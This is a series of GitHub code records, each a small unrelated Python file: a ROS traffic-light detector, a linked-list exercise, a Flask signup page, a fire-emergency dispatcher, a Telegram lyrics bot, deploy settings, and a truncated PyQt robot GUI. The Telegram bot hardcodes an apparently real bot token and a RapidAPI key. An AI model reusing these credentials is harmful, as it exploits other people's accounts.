rospy.init_node('tl_detector')\n\n        self.pose = None\n        self.waypoints = None\n        self.camera_image = None\n        self.lights = []\n\n        sub1 = rospy.Subscriber('/current_pose', PoseStamped, self.pose_cb)\n        sub2 = rospy.Subscriber('/base_waypoints', Lane, self.waypoints_cb)\n\n        '''\n        /vehicle/traffic_lights provides you with the location of the traffic light in 3D map space and\n        helps you acquire an accurate ground truth data source for the traffic light\n        classifier by sending the current color state of all traffic lights in the\n        simulator. When testing on the vehicle, the color state will not be available. You'll need to\n        rely on the position of the light and the camera image to predict it.\n        '''\n        sub3 = rospy.Subscriber('/vehicle/traffic_lights', TrafficLightArray, self.traffic_cb)\n        sub6 = rospy.Subscriber('/image_color', Image, self.image_cb)\n\n        config_string = rospy.get_param(\"/traffic_light_config\")\n        self.config = yaml.load(config_string)\n\n        self.upcoming_red_light_pub = rospy.Publisher('/traffic_waypoint', Int32, queue_size=1)\n\n        self.bridge = CvBridge()\n        self.light_classifier = TLClassifier()\n        self.listener = tf.TransformListener()\n\n        self.state = TrafficLight.UNKNOWN\n        self.last_state = TrafficLight.UNKNOWN\n        self.last_wp = -1\n        self.state_count = 0\n\n        self.gt_builer = GroundTruthBuilder()\n\n        rospy.spin()\n\n    def pose_cb(self, msg):\n        self.pose = msg\n\n    def waypoints_cb(self, waypoints):\n        self.waypoints = waypoints\n\n    def traffic_cb(self, msg):\n        self.lights = msg.lights\n\n    def image_cb(self, msg):\n        \"\"\"Identifies red lights in the incoming camera image and publishes the index\n            of the waypoint closest to the red light's stop line to /traffic_waypoint\n\n        Args:\n            msg (Image): image from car-mounted camera\n\n        \"\"\"\n        self.has_image = True\n        self.camera_image = msg\n\n        light = self.get_closest_light(self.pose, self.lights)\n        if light is not None:\n            # rospy.loginfo('Got a light %s' % light.state)\n            cv_image = self.bridge.imgmsg_to_cv2(self.camera_image, \"bgr8\")\n            self.gt_builer.save_image(light.state, cv_image)\n        \n        light_wp, state = self.process_traffic_lights()\n\n        '''\n        Publish upcoming red lights at camera frequency.\n        Each predicted state has to occur `STATE_COUNT_THRESHOLD` number\n        of times till we start using it. Otherwise the previous stable state is\n        used.\n        '''\n        if self.state != state:\n            self.state_count = 0\n            self.state = state\n        elif self.state_count >= STATE_COUNT_THRESHOLD:\n            self.last_state = self.state\n            light_wp = light_wp if state == TrafficLight.RED else -1\n            self.last_wp = light_wp\n            self.upcoming_red_light_pub.publish(Int32(light_wp))\n        else:\n            self.upcoming_red_light_pub.publish(Int32(self.last_wp))\n        self.state_count += 1\n\n    def get_closest_light(self, pose, lights):\n        \"\"\"Identifies the closest traffic light, if any\n        Args:\n            pose (Pose): current position of the car\n            lights (TrafficLights): reported lights\n\n        Returns:\n            Traffic light or None\n\n        \"\"\"\n        if pose is None:\n            return None\n\n        if lights is None:\n            return None\n\n        quaternion = (pose.pose.orientation.x, pose.pose.orientation.y,\n                      pose.pose.orientation.z, pose.pose.orientation.w)\n        # https://answers.ros.org/question/69754/quaternion-transformations-in-python/\n        euler_orientation = tf.transformations.euler_from_quaternion(quaternion)\n        # roll = euler_orientation[0]\n        # pitch = euler_orientation[1]\n        yaw = euler_orientation[2]\n\n        def dist(p1, p2):\n            return math.sqrt((p2.x - p1.x) ** 2 + (p2.y - p1.y) ** 2)\n\n        result = None\n        best_distance = None\n\n        for i in range(len(lights)):\n            distance = dist(pose.pose.position, lights[i].pose.pose.position)\n            # rospy.loginfo('Distance is %f' % distance)\n\n            if best_distance is not None:\n                if distance > best_distance:\n                    continue\n\n            if (distance < MAX_LIGHTS_DISTANCE) and (distance > MIN_LIGHTS_DISTANCE):\n                heading = math.atan2(\n                    (lights[i].pose.pose.position.y - pose.pose.position.y),\n                    (lights[i].pose.pose.position.x - pose.pose.position.x))\n                angle = abs(yaw - heading)\n                # rospy.loginfo('Angle is %f' % angle)\n                if angle < math.pi / 9:\n                    best_distance = distance\n                    result = lights[i]\n\n        return result\n\n\n    def get_closest_waypoint(self, pose):\n        \"\"\"Identifies the closest path waypoint to the given position\n            https://en.wikipedia.org/wiki/Closest_pair_of_points_problem\n        Args:\n            pose (Pose): position to match a waypoint to\n\n        Returns:\n            int: index of the closest waypoint in self.waypoints\n\n        \"\"\"\n        #TODO implement\n        return 0\n\n    def get_light_state(self, light):\n        \"\"\"Determines the current color of the traffic light\n\n        Args:\n            light (TrafficLight): light to classify\n\n        Returns:\n            int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n        \"\"\"\n        if(not self.has_image):\n            self.prev_light_loc = None\n            return False\n\n        cv_image = self.bridge.imgmsg_to_cv2(self.camera_image, \"bgr8\")\n\n        #Get classification\n        return self.light_classifier.get_classification(cv_image)\n\n    def process_traffic_lights(self):\n        \"\"\"Finds closest visible traffic light, if one exists, and determines its\n            location and color\n\n        Returns:\n            int: index of waypoint closes to the upcoming stop line for a traffic light (-1 if none exists)\n            int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n        \"\"\"\n        light = None\n\n        # List of positions that correspond to the line to stop in front of for a given intersection\n        stop_line_positions = self.config['stop_line_positions']\n        if(self.pose):\n            car_position = self.get_closest_waypoint(self.pose.pose)\n\n        #TODO find the closest visible traffic light (if one exists)\n\n        if light:\n            state = self.get_light_state(light)\n            return light_wp, state\n        self.waypoints = None\n        return -1, TrafficLight.UNKNOWN\n\nif __name__ == '__main__':\n    try:\n        TLDetector()\n    except rospy.ROSInterruptException:\n        rospy.logerr('Could not start traffic node.')\n","repo_name":"gmakarevich-aurora/CarND-Capstone","sub_path":"ros/src/tl_detector/tl_detector.py","file_name":"tl_detector.py","file_ext":"py","file_size_in_byte":8657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37660495058","text":"# Delete a node from a singly-linked list, \n# given only a variable pointing to that node.\n\n# Since we don't have a reference to the head,\n# We copy the value of the next node to the \n# reference node to delete, then delete it's\n# next node.\n\n\nclass LinkedListNode:\n\n  def __init__(self, value):\n      self.value = value\n      self.next  = None\n\ndef delete_node(node_to_delete):\n  # Get the input's next node, the one we want to skip to\n  next_node = node_to_delete.next\n\n  if next_node:\n    # Replace the input node's value and pointer \n    # with the next node's value and pointer. The previous\n    # node now effectively skips over the input node\n    node_to_delete.value = next_node.value\n    node_to_delete.next = next_node.next\n\n  else:\n    # cannot delete last node\n    raise Exception('Cannot delete last node')\n\n# There are two potential side-effects:\n\n# 1. Any references to the input node have now effectively been reassigned to its next node. \n#    In our example, we \"deleted\" the node assigned to the variable b, but in actuality we just \n#    gave it a new value (2) and a new next! If we had another pointer to b somewhere else in our \n#    code and we were assuming it still had its old value (8), that could cause bugs.\n\n# 2. If there are pointers to the input node's original next node, those pointers now point to a \n#    \"dangling\" node (a node that's no longer reachable by walking down our list). In our example \n#    above, c is now dangling. If we changed c, we'd never encounter that new value by walking down \n#    our list from the head to the tail.","repo_name":"DrkSephy/practice","sub_path":"ic/q22_delete_node_from_singly_linked_list.py","file_name":"q22_delete_node_from_singly_linked_list.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"6905300131","text":"from flask import Blueprint\nfrom flask import render_template\nenroll = Blueprint(\"enroll\", __name__, template_folder=\"templates\")\n\ncustomItems = [\n    {\"id\": \"1\", \"label\": \"test1\", \"name\": \"test1\", \"info\": \"testInfo\"},\n    {\"id\": \"1\", \"label\": \"test1\", \"name\": \"test1\", \"info\": \"testInfo\"},\n    {\"id\": \"1\", \"label\": \"test1\", \"name\": \"test1\", \"info\": \"testInfo\"},\n    {\"id\": \"1\", \"label\": \"test1\", \"name\": \"test1\", \"info\": \"testInfo\"},\n]  #debug\n\"\"\"\n    设计的自定义内容格式,默认组件类型:text\n    id: id\n    label: 属性名\n    name: name\n    info: placeholder\n    necessity: 是否必需\n\"\"\"\n\n\n@enroll.route('/')\ndef enroll_index():\n    return render_template(\"signup.html\", customItems=customItems)\n","repo_name":"ChuckieEsan/uni_studio","sub_path":"studio/apps/enroll/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39940991074","text":"\"\"\"\nПрограмма разработана только для типа ЧС - пожар\n(коды 10210, 10211 - 10213, 10231 - 10234), но с\nнаписаным алгоритмом общей классификацией ЧС, по коду.\n\"\"\"\nimport os\nimport datetime\nimport json\nimport re\nimport math\n\nos.chdir(os.getcwd())\n\n\nclass Pfp:\n    list_week = [\"Понеділок\", \"Вівторок\", \"Середа\", \"Четвер\", \\\n                 \"Пʼятниця\", \"Субота\", \"Неділя\"]\n    list_year = [\"Січня\", \"Лютого\", \"Березня\", \"Квітня\", \"Травня\", \"Червня\", \\\n                 \"Липня\", \"Серпня\", \"Вересня\", \"Жовтня\", \"Листопада\", \"Грудня\"]\n\n    def __init__(self):\n        self.dt = int(datetime.datetime.strftime(datetime.datetime.now(), '%d')), \\\n    self.list_year[int(datetime.datetime.strftime(datetime.datetime.now(), '%m'))-1], \\\n    datetime.datetime.strftime(datetime.datetime.now(), '%Y ��оку.'), \\\n    self.list_week[datetime.datetime.now().weekday()], \\\n    datetime.datetime.strftime(datetime.datetime.now(), 'Час: %H:%M:%S')\n        self.dialog_data = dict()\n        self.address_data = dict()\n        self.departament_data = dict()\n\n    def write_data(self, dict_to_write):\n        fr = open(\"pfp_data.json\", 'r')\n        str_data = str()\n        str_end = str()\n        for line in fr:\n            str_data += line[0: len(line) - 1]\n            str_end = line[len(line) - 1:]\n        str_data += str_end\n        dict_data = json.loads(str_data)\n        list_data = [\"dialog_data\", \"address_data\", \"departament_data\"]\n        self.dialog_data = dict_data.get(list_data[0])\n        self.address_data = dict_data.get(list_data[1])\n        self.departament_data = dict_data.get(list_data[2])\n        fr.close()\n        if dict_to_write.get(list_data[0]) != None:\n            self.dialog_data.update(dict_to_write.get(list_data[0]))\n        elif dict_to_write.get(list_data[1]) != None:\n            self.address_data.update(dict_to_write.get(list_data[1]))\n        elif dict_to_write.get(list_data[2]) != None:\n            self.departament_data.update(dict_to_write.get(list_data[2]))\n        str_new = '{\\n\\t\"' + str(list_data[0]) + '\": {\\n'\n        for key in self.dialog_data:\n            if str(self.dialog_data.get(key))[0] == \"[\":\n                str_new += '\\t\\t\"' + key + '\": ' + str(self.dialog_data.get(key)).replace(\"'\",'\"') + ',\\n'\n            else:\n                str_new += '\\t\\t\"' + key + '\": ' + '\"' + str(self.dialog_data.get(key)).replace(\"'\",'\"') + '\",\\n'\n        str_new_end = str_new[0:len(str_new) - 2]\n        str_new = str_new_end + \"\\n\\t},\\n\"\n        str_new += '\\t\"' + str(list_data[1]) + '\": {\\n'\n        for key in self.address_data:\n            str_new += '\\t\\t\"' + key + '\": ' + str(self.address_data.get(key)).replace(\"'\", '\"') + ',\\n'\n        str_new_end = str_new[0:len(str_new) - 2]\n        str_new = str_new_end + \"\\n\\t},\\n\"\n        str_new += '\\t\"' + str(list_data[2]) + '\": {\\n'\n        for key in self.departament_data:\n            if str(self.departament_data.get(key))[0] == \"[\":\n                str_new += '\\t\\t\"' + key + '\": ' + str(self.departament_data.get(key)).replace(\"'\", '\"') + ',\\n'\n            else:\n                str_new += '\\t\\t\"' + key + '\": ' + '\"' + str(self.departament_data.get(key)).replace(\"'\", '\"') + '\",\\n'\n        str_new_end = str_new[0:len(str_new) - 2]\n        str_new = str_new_end + \"\\n\\t}\\n}\\n\"\n\n        fw = open(\"pfp_data.json\", 'w')\n        fw.write(str_new)\n        fw.close()\n\n\n    def load_data(self):\n        f = open(\"pfp_data.json\", 'r')\n        str_data = str()\n        str_end = str()\n        for line in f:\n            str_data += line[0: len(line) - 1]\n            str_end = line[len(line) - 1:]\n        str_data += str_end\n        f.close()\n        dict_data = json.loads(str_data)\n        self.dialog_data = dict_data.get(\"dialog_data\")\n        self.address_data = dict_data.get(\"address_data\")\n        self.departament_data = dict_data.get(\"departament_data\")\n\n    def get_call_data(self):\n        print(\"{} {} {} {}. {}\\n\" \\\n              .format(self.dt[0], self.dt[1], self.dt[2], self.dt[3], self.dt[4]))\n        print(self.dialog_data.get(\"001\"))\n        e_type_res = self.list_dialog(self.dialog_data.get(\"002\"), 0)\n        if e_type_res == 0:\n            return print(self.dialog_data.get(\"000\"))\n        print(self.dialog_data.get(\"003\"))\n        e_nature_res = self.list_dialog(self.dialog_data.get(\"004\"), 0)\n        if e_nature_res == 0:\n            return print(self.dialog_data.get(\"000\"))\n        print(self.dialog_data.get(\"005\"))\n        e_level_res = self.list_dialog(self.dialog_data.get(\"006\"), 0)\n        if e_level_res == 0:\n            return print(self.dialog_data.get(\"000\"))\n\n        list_em = [e_type_res, e_nature_res, e_level_res]\n        return list_em\n\n    @staticmethod\n    def list_dialog(description, param):\n        inp = str()\n        while inp != 0:\n            for i in range(len(description) - 1):\n                print(\"{}. {};\".format(i + 1, description[i]))\n            print(\"{}. {}\".format(len(description), description[len(description) - 1]))\n            err = 'Не вірна цифра! Або введіть цифру повторно, або \"0\" для завершення програми.'\n            try:\n                inp = int(input(\"Введіть цифру: \"))\n                if inp == 0:\n                    return 0\n                elif param == 0:\n                    return description[inp - 1]\n                elif param == 1:\n                    s = len(description[inp - 1]) - 6\n                    s_1 = len(description[inp - 1]) - 1\n                    return description[inp - 1][s: s_1]\n            except IndexError:\n                print(err)\n            except ValueError:\n                print(err)\n\n\nclass Emergency:\n    \"\"\"\n    Содержит: тип ЧС (пожар, наводнение...),\n    характер (природный или техногенный),\n    уровень (международный, государственный,\n    региональный, местный, объектовый)\n    \"\"\"\n    def __init__(self, e_em, e_code = 0):\n        self.e_type = e_em[0]\n        self.e_nature = e_em[1]\n        self.e_level = e_em[2]\n        self.em_address = str()\n        self.e_code = e_code\n        self.dep_data = list()\n\n\n    def emergency_info(self, em_address):\n        self.em_address = em_address\n        print(\"\\n{}, {} характеру, {} рівня\" \\\n              .format(self.e_type, str.lower(self.e_nature), str.lower(self.e_level)))\n        print(\"\\nЧС трапилось за адресою: {}\".format(self.em_address))\n\n    def emergency_navigate(self, cl_name):\n        d = EmergencyNavigation(self.em_address, \\\n                                            cl_name.address_data.get(self.em_address)[0], \\\n                                            cl_name.address_data.get(self.em_address)[1], \\\n                                            cl_name.address_data.get(self.em_address)[2], \\\n                                            cl_name)\n        self.dep_data = d.minimal_distance()\n        print()\n        print(\"Відстань до найближчої частини: \", self.dep_data[0], \\\n              \"км.\\nАдреса частини:\", self.dep_data[1])\n\n    def get_emergency_code(self):\n        \"\"\"\n        По данным пользователя устанавливается характер и уровень,\n        и формируется код ЧС.\n        \"\"\"\n        dict_group = dict()\n        dict_subclass = dict()\n        dict_class = dict()\n        dict_em = dict()\n        list_subclass = list()\n        list_class = list()\n        list_em = list()\n        print(\"\\nФормуємо код ЧС:\")\n\n        for key in self.dict_emergency:\n            if int(key) % 10000 == 0:\n                dict_group.update({key: self.dict_emergency.get(key)})\n        list_group = [(self.dict_emergency.pop(key) + \" (код: \" + key + \")\") for key in dict_group]\n        str_code_inp = Pfp.list_dialog(list_group, 1)\n\n        for key in self.dict_emergency:\n            if int(key) % 100 == 0:\n                dict_subclass.update({key: self.dict_emergency.get(key)})\n        for key in dict_subclass:\n            if (int(key) >= int(str_code_inp)) and (int(key) < int(str_code_inp) + 10000):\n                list_subclass.append(self.dict_emergency.pop(key) + \" (код: \" + key + \")\")\n        str_code_inp = Pfp.list_dialog(list_subclass, 1)\n\n        for key in self.dict_emergency:\n            if int(key) % 10 == 0:\n                dict_class.update({key: self.dict_emergency.get(key)})\n        for key in dict_class:\n            if (int(key) >= int(str_code_inp)) and (int(key) < int(str_code_inp) + 100):\n                list_class.append(self.dict_emergency.pop(key) + \" (код: \" + key + \")\")\n        str_code_inp = Pfp.list_dialog(list_class, 1)\n\n        for key in self.dict_emergency:\n            dict_em.update({key: self.dict_emergency.get(key)})\n        for key in dict_em:\n            if (int(key) >= int(str_code_inp)) and (int(key) < int(str_code_inp) + 10):\n                list_em.append(self.dict_emergency.pop(key) + \" (код: \" + key + \")\")\n        if len(list_em) > 0:\n            str_code_inp = Pfp.list_dialog(list_em, 1)\n\n        self.e_code = int(str_code_inp)\n        return int(self.e_code)\n\n    def read_emergency_classifier(self):\n        \"\"\"\n        Читает из файла форматированный текст классификатора ЧС.\n        Возвращает словарь\n        \"\"\"\n        f = open(\"Emergency_classifier.txt\", 'r')\n        str_end = str()\n        list_data = list()\n        dict_data = dict()\n        for line in f:\n            list_data.append(line[0: len(line) - 1])\n            str_end = line[len(line) - 1:]\n        end = list_data[len(list_data) - 1]\n        list_data[len(list_data) - 1] = end + str_end\n        f.close()\n        count = 0\n        iter_data = iter(list_data)\n        for i in iter_data:\n            if i[0:7] == '-------':\n                count += 1\n            if len(i) > 0\\\n                    and i[0] == '|'\\\n                    and str.isdigit(i[1:6])\\\n                    and count < 2:\n                last_key = i[1:6]\n                last_val = re.sub(\" +\", \" \", i[7:65])\n                if last_val[len(last_val) - 1] == \" \":\n                    val_1 = last_val[0:len(last_val) - 1]\n                    last_val = val_1\n                dict_data.update({last_key:last_val})\n                i = next(iter_data)\n                try:\n                    while i[6] != '+':\n                        new_val = \"\\n\" + re.sub(\" +\", \" \", i[7:65])\n                        if new_val[len(new_val) - 1] == \" \":\n                            val_2 = new_val[0:len(new_val) - 1]\n                            new_val = val_2\n                        if new_val[1:3] != '--':\n                            dict_data.update({last_key: last_val + new_val})\n                            last_val = last_val + new_val\n                        i = next(iter_data)\n                except IndexError:\n                    continue\n        self.dict_emergency = dict_data\n        # print(self.dict_emergency)\n\n\nclass EmergencyNavigation:\n    \"\"\"\n    Содержит связку адресов объектов с их\n    координатами, и выполняет доп. ф-ции с\n    геометрическими расчетами по навигации.\n    \"\"\"\n    def __init__(self, address, storeys, latitude, longitude, cl_name):\n        self.address = address\n        self.storeys = storeys\n        self.latitude = latitude\n        self.longitude = longitude\n        self.cl_name = cl_name\n        self.dep_min = str()\n        self.d_min = 6371.0\n\n    def minimal_distance(self):\n        for key in self.cl_name.departament_data:\n            t = (self.latitude, self.longitude, \\\n                          self.cl_name.departament_data.get(key)[0], \\\n                          self.cl_name.departament_data.get(key)[1])\n            if self.distance(t) < self.d_min and \\\n                    self.storeys <= 5 and \\\n                    self.cl_name.departament_data.get(key)[4] > 0:\n                self.d_min = round(self.distance(t), 3)\n                self.dep_min = key\n            elif self.distance(t) < self.d_min and \\\n                    self.storeys > 5 and \\\n                    self.cl_name.departament_data.get(key)[5] > 0:\n                self.d_min = round(self.distance(t), 3)\n                self.dep_min = key\n        return [self.d_min, self.dep_min]\n\n    @staticmethod\n    def distance(tuple_place):\n        float_R = 6371\n        float_fi_a, float_lambda_a, float_fi_b, float_lambda_b = tuple_place\n\n        def func_d(float_fi_a, float_lambda_a, float_fi_b, float_lambda_b):\n            d = math.acos(math.sin(math.radians(float_fi_a)) *\n            math.sin(math.radians(float_fi_b)) +\n            math.cos(math.radians(float_fi_a)) *\n            math.cos(math.radians(float_fi_b)) *\n            math.cos(math.radians(float_lambda_a - float_lambda_b)))\n            return d\n        return float_R * func_d(float_fi_a, float_lambda_a, float_fi_b, float_lambda_b)\n\n\nclass Probability:\n    \"\"\"\n    Содержит статистику пожаров. Пишет ее в отдельный файл.\n    \"\"\"\n    def __init__(self, p_name_control, p_name_em):\n        self.p_date = p_name_control.dt\n        self.p_data = [p_name_em.em_address, p_name_em.e_code, \\\n                       p_name_em.dep_data]\n\n    def p_to_file(self):\n\n        str_data = (\"{} {} {} {}. {} -- \" \\\n            .format(self.p_date[0], self.p_date[1], self.p_date[2], \\\n                    self.p_date[3], self.p_date[4])) + \\\n            (\"{} (код ЧС: {}) -- \".format(self.p_data[0], self.p_data[1]) + \\\n             (\"Адреса частини МНС: {} -- \".format(self.p_data[2][1])) + \\\n             (\"Відстань: {} км.\\n\".format(self.p_data[2][0])))\n        fp = open(\"prlt_data.txt\", 'a')\n        fp.write(str_data)\n        fp.close()\n        print(\"\\nДані було записано до файлу!\")\n\n\n\na = Pfp()   # Создаем экземпляр в классе управления\na.load_data()   # Загружаем из файла данные для работы программы\nprint()\nem = a.get_call_data()  # Получаем вводом параметры для ЧС\na_1 = Emergency(em) # Создаем экземпляр ЧС по полученным параметрам\n# Вводим адрес ЧС\n# a_1.emergency_info(\"Проспект Дмитра Яворницького, 10\")\n# a_1.emergency_info(\"Проспект Дмитра Яворницького, 8\")\n# a_1.emergency_info(\"Проспект Дмитра Яворницького, 36\")\na_1.emergency_info(\"вулиця Олени Ган, 26\")\na_1.emergency_navigate(a) # Получаем из управляющего класса \"а\" данные по введенному адресу,\n                          # и определяем ближайшую пожарную часть\na_1.read_emergency_classifier() # Загружаем из файла данные для классификации ЧС\na_1.get_emergency_code()    # Формируем вводом код ЧС\na_2 = Probability(a, a_1)\na_2.p_to_file()\n\n\n\n","repo_name":"AlexS1981/Project_Fire_Probability","sub_path":"Project_Fire_Probability.py","file_name":"Project_Fire_Probability.py","file_ext":"py","file_size_in_byte":15527,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5120038591","text":"def summa(a, b):\n    # \"\"\"\n    # >>> summa(3, 4)\n    # 7\n    # >>> summa(0, 4)\n    # 4\n    # >>> summa(-4, 4)\n    # 0\n    # >>> summa('A', 'b')\n    # 'Ab'\n    # >>> summa(4, None)\n    # Not supported type\n    # >>> summa(1, 0)\n    # 1\n    # \"\"\"\n    try:\n        return a + b\n    except TypeError:\n        print('Not supported type')\n    except Exception:\n        print('Something is wrong')\n    return None\n\n\ndef mines(a, b):\n    # \"\"\"\n    # >>> mines(5, 4)\n    # 1\n    # >>> mines(0, 4)\n    # -4\n    # \"\"\"\n    return a - b\n\n\n# if __name__ == \"__main__\":\n#     import doctest\n#     doctest.testmod()\n\n# if __name__ == \"__main__\":\n#     import doctest\n#     doctest.testfile('1.txt')\n","repo_name":"ArefaEvgeniy/OPT","sub_path":"Lesson_15/task_05.py","file_name":"task_05.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6513154433","text":"import telebot\nimport random\nimport requests\n\nbot=telebot.TeleBot('1756508816:AAHk_prvWoVNkNW7-0GHDDw0CIyvyRk2dXo')\n@bot.message_handler(commands=['chance'])\ndef handle_start(message):\n    print(message.text)\n    msg='шанс того, что'\n    msg+=message.text.replace('/chance','')\n    msg+=' равен '+str(random.randint(0,100))\n    bot.send_message(message.chat.id,msg)\n\n@bot.message_handler(commands=['lyrics'])\ndef handle_start(message):\n\n    url = \"https://genius.p.rapidapi.com\"\n\n    querystring = {\"q\":message.text.replace('/lyrics','')}\n\n    headers = {\n        'x-rapidapi-key': \"b749dd581bmshaad3442a3b1153bp15a97ajsn12dd06f55432\",\n        'x-rapidapi-host': \"genius.p.rapidapi.com\"\n        }\n\n    response = requests.request(\"GET\", url+\"/search\", headers=headers, params=querystring)\n    print(response.json()['response']['hits'][0]['result']['id'])\n    txt = requests.get(\"https://genius.com/songs/\"+str(response.json()['response']['hits'][0]['result']['id']), headers=headers)\n    response = requests.get(\"https://www.youtube.com/results?search_query=\"+message.text.replace('/lyrics','').replace(' ','+'))\n    video = response.text.split('\"watchEndpoint\":{\"videoId\":\"')[1].split('\"')[0]\n\n    bot.send_message(message.chat.id,txt.text.split(\"<p>\")[1].split(\"</p>\")[0].replace(\"<br>\",'')+'\\nhttps://www.youtube.com/watch?v='+video)\nbot.polling()","repo_name":"yungpipp/aboba","sub_path":"tg.py","file_name":"tg.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20555583897","text":"import os\n\n\nAPP_NAME = 'tigerhost-deploy'\n\nPROJECT_REMOTE = 'git@github.com:naphatkrit/TigerHost.git'\n\nDOMAIN_NAME = 'tigerhostapp.com'\n\nDEBUG = bool(os.environ.get('DEBUG', False))\n\nDEISCTL_INSTALL_URL = 'http://deis.io/deisctl/install.sh'\n\nDEIS_INSTALL_URL = 'http://deis.io/deis-cli/install.sh'\n\nADDONS_COMPOSE_PROJECT_NAME = 'addons'\n\nMAIN_COMPOSE_PROJECT_NAME = 'tigerhost'\n","repo_name":"naphatkrit/TigerHost","sub_path":"deploy/deploy/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"1550849562","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom pyqtgraph import PlotWidget, plot\nimport pyqtgraph as pg\nfrom random import randint\n\nfrom enum import Enum\n\nimport pygame\nimport time\nimport serial\nimport math\nimport sys\nimport codecs\n\nimport threading\nimport os\n\nfrom MK1 import *\nfrom mavlink_faking import *\nfrom database import *\n\n# define number\nlistrange = 63\nY_min = -110\nY_max = 110\nY1_min = 110\nY1_max = -110\nippppp = 0\ntimergetdata=200\n\nclass mode(Enum):\n    auto = 1\n    manual = 2\n    debug = 3\n    stop = 0\n\njoystick_no = []\njoystick_choice = 0\nchoiceJoystickstatus = False\nJoystickconect = False\nNameCOM = []\nbutton=[0,0,0,0,0]\naxis=[0,0,0]\ndatasendalpha=[]\ndataread=[]\ntransmit=[]\ncomconnect = False\ncontrol = mode.stop\nlastcontrol = mode.stop\nglobaldebug=[0,0]\n\nclass GUI_Init(Ui_MK1,messageProcess,processData):\n    def __init__(self, ID, name):\n        super(GUI_Init,self).__init__()\n        self.setupUi()\n        self.setupUi1()\n\n    def setupUi1(self):\n        # event device combo box\n        self.device.currentIndexChanged.connect(self.choiceJoystick)\n        self.device.popupAboutToBeShown.connect(self.getjoystick)\n\n        # event connect button\n        self.connect.clicked.connect(self.connectbtn)\n\n        #event send button\n        self.send.clicked.connect(self.senddata)\n\n        # event auto/manual/stop button\n        self.auto_2.clicked.connect(self.auto_mode)\n        self.stop.clicked.connect(self.stop_mode)\n        self.manual.clicked.connect(self.manual_mode)\n        self.debug.clicked.connect(self.debug_mode)\n\n        # event pusshpid button\n        self.pushpid.clicked.connect(self.sendpid)\n        self.pushpid_1.clicked.connect(self.sendpid)\n        self.pushpid_2.clicked.connect(self.sendpid)\n\n        # event change value debug\n        self.rightspeed.valueChanged.connect(self.changevalue)\n        self.leftspeed.valueChanged.connect(self.changevalue)\n\n        # event Enter for textbox \"testsend\"\n        self.testsend.installEventFilter(self)\n\n        # addplot\n        # xaxis\n        self.xaxis.setBackground('w')\n        self.xaxis.showGrid(x=True, y=True)\n        self.xaxis.setYRange(Y_min, Y_max, padding=0)\n        self.xaxis.setMouseEnabled(x=False, y=False)\n        # yaxis\n        self.yaxis.setBackground('w')\n        self.yaxis.showGrid(x=True, y=True)\n        self.yaxis.setYRange(Y1_min, Y1_max, padding=0)\n        self.yaxis.setMouseEnabled(x=False, y=False)\n        # xaxis_1\n        self.xaxis_1.setBackground('w')\n        self.xaxis_1.showGrid(x=True, y=True)\n        self.xaxis_1.setYRange(Y_min, Y_max, padding=0)\n        self.xaxis_1.setMouseEnabled(x=False, y=False)\n        # yaxis_1\n        self.yaxis_1.setBackground('w')\n        self.yaxis_1.showGrid(x=True, y=True)\n        self.yaxis_1.setYRange(Y_min, Y_max, padding=0)\n        self.yaxis_1.setMouseEnabled(x=False, y=False)\n        # general\n        self.general.setBackground('w')\n        self.general.showGrid(x=True, y=True)\n        self.general.setYRange(Y_min, Y_max, padding=0)\n        self.general.setMouseEnabled(x=False, y=False)\n        # general\n        self.general_2.setBackground('w')\n        self.general_2.showGrid(x=True, y=True)\n        self.general_2.setYRange(Y_min, Y_max, padding=0)\n        self.general_2.setMouseEnabled(x=False, y=False)\n\n        #updateGUItimer\n        self.x = list(range(listrange))\n        self.y1 = list(range(listrange))\n        self.y2 = list(range(listrange))\n        self.y3 = list(range(listrange))\n        self.y4 = list(range(listrange))\n        self.timer=QtCore.QTimer()\n        self.timer.setInterval(100)\n        self.timer.timeout.connect(self.refreshUI)\n        self.timer.start()\n        pen = pg.mkPen(color=(0, 0, 0))\n        self.data_line1=self.xaxis.plot(self.x, self.y1, pen=pen)\n        self.data_line2=self.yaxis.plot(self.x, self.y2, pen=pen)\n        #timergetdata\n        self.timergetdata=QtCore.QTimer()\n        self.timergetdata.setInterval(timergetdata)\n        self.timergetdata.timeout.connect(self.getdata)\n        self.timergetdata.start()\n\n        # startup\n        self.stop.setEnabled(False)\n        self.connect.setStyleSheet('QPushButton {color: green;}')\n        self.connect.setText('CONNECT')\n        # self.main_process()\n\n    # event handle\n    def eventFilter(self,obj,event):\n        if event.type()==QtCore.QEvent.KeyPress and obj is self.testsend:\n            if event.key()==QtCore.Qt.Key_Return and self.testsend.hasFocus():\n                self.senddata()\n        return super().eventFilter(obj,event)\n\n    def refreshUI(self):\n        global datasendalpha\n        if(control==mode.manual or control==mode.debug):\n            self.x = self.x[1:]\n            self.x.append(self.x[-1] + 1)\n            self.y1= self.y1[1:]\n            self.y2= self.y2[1:]\n            if(control==mode.manual):\n                self.y1.append(axis[0])\n                self.y2.append(axis[1])\n            elif(control==mode.debug):\n                self.y1.append(globaldebug[0])\n                self.y2.append(globaldebug[1])\n            self.data_line1.setData(self.x, self.y1)\n            self.data_line2.setData(self.x, self.y2)\n        elif(control==mode.stop):\n            datasendalpha=\"STOP\"\n        else:\n            datasendalpha=\"AUTO\"\n        if(comconnect==True and (control==mode.stop or control==mode.auto)):\n            # self.transmit.write(datasendalpha.encode())\n            # print(datasendalpha)\n            pass\n\n    def connectbtn(self):\n        global comconnect,transmit\n        NameCOM = self.COM.currentText()\n        try:\n            if(comconnect == False):\n                #for 